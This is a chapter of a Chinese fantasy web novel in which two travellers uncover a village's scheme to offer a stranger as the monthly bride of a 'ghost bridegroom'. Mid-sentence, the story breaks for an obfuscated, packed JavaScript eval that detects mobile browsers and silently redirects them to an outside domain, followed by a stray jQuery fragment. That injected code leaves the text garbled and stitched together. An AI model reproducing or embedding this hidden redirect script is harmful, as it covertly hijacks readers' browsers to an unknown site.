鸡鸣三声,中年男人推开房门,门上的轴承陈旧,发出刺耳的摩擦声。
他手中拿着一把斧子,也没点灯,径自朝院中走去。夜雾还未散去,一道漆黑的剪影弯着腰,沉闷的劈柴声惊起墙上站立的一只夜枭。夜枭发出一声粗噶的鸣叫,扑扇着翅膀飞走了。
中年男人再一次举起斧头,这一次却迟迟没有落下。他转过头,最先映入眼帘的是一盏油灯,顺着油灯的灯光,才看清一张脸,剑眉星目,与这平凡的村庄格格不入。
他竟没有听见脚步声,中年男人举着斧子,看他一步步走来。
“柳叔。”孟昭率先打破了沉默,中年男人才反应过来,连忙放下斧子,满脸的褶皱自然地挤出笑意.
“是李小哥啊,怎么这么早就起来了,你和李小妹昨天休息得还好吗?”
为了避免不必要的麻烦,昨天当被问及姓名时,孟昭随口编了一个李家姓氏,他和溪微便成了李氏兄妹。
“我们休息得很好,一觉睡到现在。”他看柳叔神情放松下来,又说道,“我来是向你辞行的,我和妹妹还要赶路,就不多打扰了。”
说着,他摊开手心,掌心中握着一枚莹润的玉石,“这是感谢你们收留的谢礼,小小心意,还请收下。”
柳叔连忙摆手,“这个我不能收。”之后,任凭孟昭如何劝说,他始终不肯收下玉石,孟昭便没有再坚持。
他见孟昭欲转身,连忙拉住孟昭衣袖,挽留道,“这几天外面不太平,你们还是在这里多待几天吧。”
孟昭露出好奇的神色:“是什么不太平的事情?”
柳叔左右张望,又去把院门关得更紧,才拉着孟昭坐到屋檐底下,这才低声说道:“本来我是不应该说的,但又实在不忍心。李小哥,你们这一路上,是不是遇到什么奇怪的事情?”
孟昭做出思索的样子,半晌才说道:“奇怪的事情嘛,倒是有一件。就是这一路上,遇到的每一个人都会盯着我妹妹看。柳叔,不瞒你说,昨天晚上你和柳婶也是这么看她,可把她给吓到了。”
孟昭这般说着,脑海中想象着溪微未来某一天被吓到的样子,不禁摇头失笑。
柳叔语气带上愧疚:“是我不好,我一定向李小妹道歉。”
孟昭摆摆手:“她知道你们没有恶意,便也不再害怕了。不过我还是好奇,为什么你们都这么看她呢?”
“唉,这便是我要和你说的事情了。”柳叔环紧自己的手臂,更加靠近孟昭,说出的话只有气音,“你可听过鬼郎君?”
孟昭也像他一样放低音量:“没听过。”
“每个月的月初,鬼郎君都会在街巷中游荡,为自己寻觅一位新娘。你的妹妹啊,那容貌仿佛是仙子一般,鬼郎君若是见到她,一定会选中她的。所以村里的人才会那样看着你妹妹,我想他们都和我一样,想要提醒,却害怕鬼郎君报复。”
孟昭注意到一个细节,他问道:“每个月都要找一位新娘,那这鬼郎君岂不是已有成百上千位新娘了?”
“不不不。”柳叔连忙否认,几乎是趴在孟昭耳边同他说道,“鬼郎君的宫殿里,从来就只有一位新娘。”
*
“你是说,那些人之所以表现异常,就是因为鬼郎君?”
溪微坐在一棵粗大的槐树上,双腿摇晃着,垂眸看树底下的孟昭。凌晨时听了柳叔关于鬼郎君的叙述,他们便顺势留了下来,并听从柳叔的建议,不再轻易露面。
孟昭说道:“那鬼郎君嗜杀成性,每月月初娶的新娘,月底之前必会杀死,难怪会引得人心惶惶。”
“不对。”溪微皱着眉,“如果真有那么多人无辜枉死,那么她们的怨气一定会久久不散,沉淀而成……浊气。”
溪微睁大了眼睛。
五洲本应是清气聚集之处,可是这北洲却是清气浊气缠杂不休,难道是因为这个原因?
她与孟昭对视着,孟昭朝她一笑:“是与不是,我们总会弄清的。”
溪微还想说些什么,耳廓一动,随即从树上一跃而下,脚步轻盈地落到地面。
刚站定,便从墙后现出一个人影,是莲花。她面庞苍白,眼下青黑,眼皮红肿一片,看着比昨天更加憔悴了。
“莲花姑娘。”溪微唤道。
莲花看了一眼溪微,随即移开目光,直直地盯着她身后那棵槐树,语气冷淡地说道:“你们走吧。”
“莲花姑娘,你在说什么?”
莲花深吸了一口气,才说道:“我让你们不要留在我家了。李姑娘,你住的是我的房间,睡的是我的床,用的是我的梳妆镜,你们这样,难道不是鸠占鹊巢吗?我请你们快走!”
莲花终于将目光移到溪微脸上,朝溪微大吼着,一双眼睛往外喷着火。
溪微第一次在别人面前无措起来,她喃喃说着:“对不起,我、我不知道……”
“莲花!”忽然响起一声急切的喊叫,柳婶步伐慌张地跑来,她先是强行将莲花拉到身后,然后才对溪微歉疚地苦笑,“这孩子这几天精神不是很好,李小妹你千万不要把她的话当真。”
“柳婶……”
柳婶却似乎有些心不在焉,她眼睛落在莲花的面颊上,急急忙忙地说着:“你们兄妹俩尽管在这里住下,莲花这孩子我会好好管教的。”
说着,她便扯着莲花的胳膊走开了。
溪微目送着那对母女的背影,忽然说道:“柳婶也哭过了。”她转过头,问孟昭,“你相信莲花是精神有问题吗?”
孟昭露出一抹兴致盎然的微笑。
之后的几天,莲花被柳叔和柳婶密切关照起来,无论莲花在哪里、要做什么,他们夫妻俩总会有一个跟在她身旁。
而莲花自那日的爆发之后,似乎如柳婶所说那般“恢复了神智”,再也不提赶走溪微和孟昭的话,每次碰面都是一脸默然,不留给他们一丝眼神。
直到又一个夜晚降临,月上中天,大地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225352|174815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陷入沉睡之时,溪微的门外响起敲门声。
溪微上前打开房门,微笑请莲花进来。
莲花跨过门槛,忽然顿在原地,瞪着眼睛指向立在窗边的人:“你……”她又瞪向溪微,“你们究竟是什么关系?”
孟昭转过身朝她微笑:“我们是什么关系不重要,重要的是我们一直在等你。”
莲花脚步踉跄了一下,被溪微搀扶着坐下,才说道:“我不知道你在说什么。”
“你今天在柳叔和柳婶的茶杯中放了可以让人陷入沉睡的药,对吗?”孟昭语气轻缓,莲花却像被吓到了一般,猛地从座椅上弹起,溪微连忙轻拍她的背脊,再次扶着她坐下。
莲花看向溪微:“你们还知道什么?”
溪微温和地看她,轻轻摇头:“我们只知道,你要找我,一定是有重要的事。”
“我、我不知道……”莲花抱住头,“我来找你,辜负了爹娘的心,也害了我自己。可是我如果不来,就感觉自己和爹娘都会变成傀儡,便成行尸走肉。我不知道,也许我错了……”
她反复重复着,仿佛陷入了极其两难的决定。
“但是你已下定了决心,不是吗?”孟昭忽然说道,引得莲花的身体又是一抖。
良久,莲花抬起头,没头没尾地说道:“那包蒙汗药,本来是为了你们两个准备的。”
溪微和孟昭交换了一个“果然如此”的眼神。
莲花没有在意他们的反应,自顾自地说道:“你们如果不离开,明天夜里,李姑娘就会在昏迷中被送上花轿,抬入鬼郎君的新房。”
“可是柳舒说,我如果离开,才有可能被鬼郎君选中。你们父女俩的话截然相反,我应该相信谁呢?”溪微注视着她,语气疑惑。
“他是骗你的!”莲花忽然大喊,她胸膛起伏着,许久,又小声重复了一遍,“他是骗你的。”
说完,她低下头,终于“呜呜”哭了出来。
溪微等待着,莲花终于停止了哭泣,用那把嘶哑的嗓子说道:“爹是故意这么说,让你们害怕,才能让你们留下来。其实,鬼郎君每月要娶一位新娘是真,但是新娘的人选不是他自己定的。”
“那是谁定的呢?”
莲花飞快地扫了一眼孟昭,又低下头,“每个村子轮流出人,这个月轮到我们村了。村里所有有女儿的人家便在夜里聚集在一起,用抽签的方法选出那个不幸的人。”
“所以,我妹妹这个外来的人才会这么引人注意,所有人都想留下她。万一自己的女儿不幸被选中,就可以用我妹妹代替,对吗?”
莲花虚弱地“嗯”了一声。
孟昭又问道:“让我猜猜抽签的结果,那个即将成为新娘的人……就是你,对吗?”
莲花将头深深埋在膝上,“所以你们快走吧,再不走,就永远也走不掉了……”
“我们不会走的。”溪微说道。
莲花抬起头,对上溪微温和的眼神。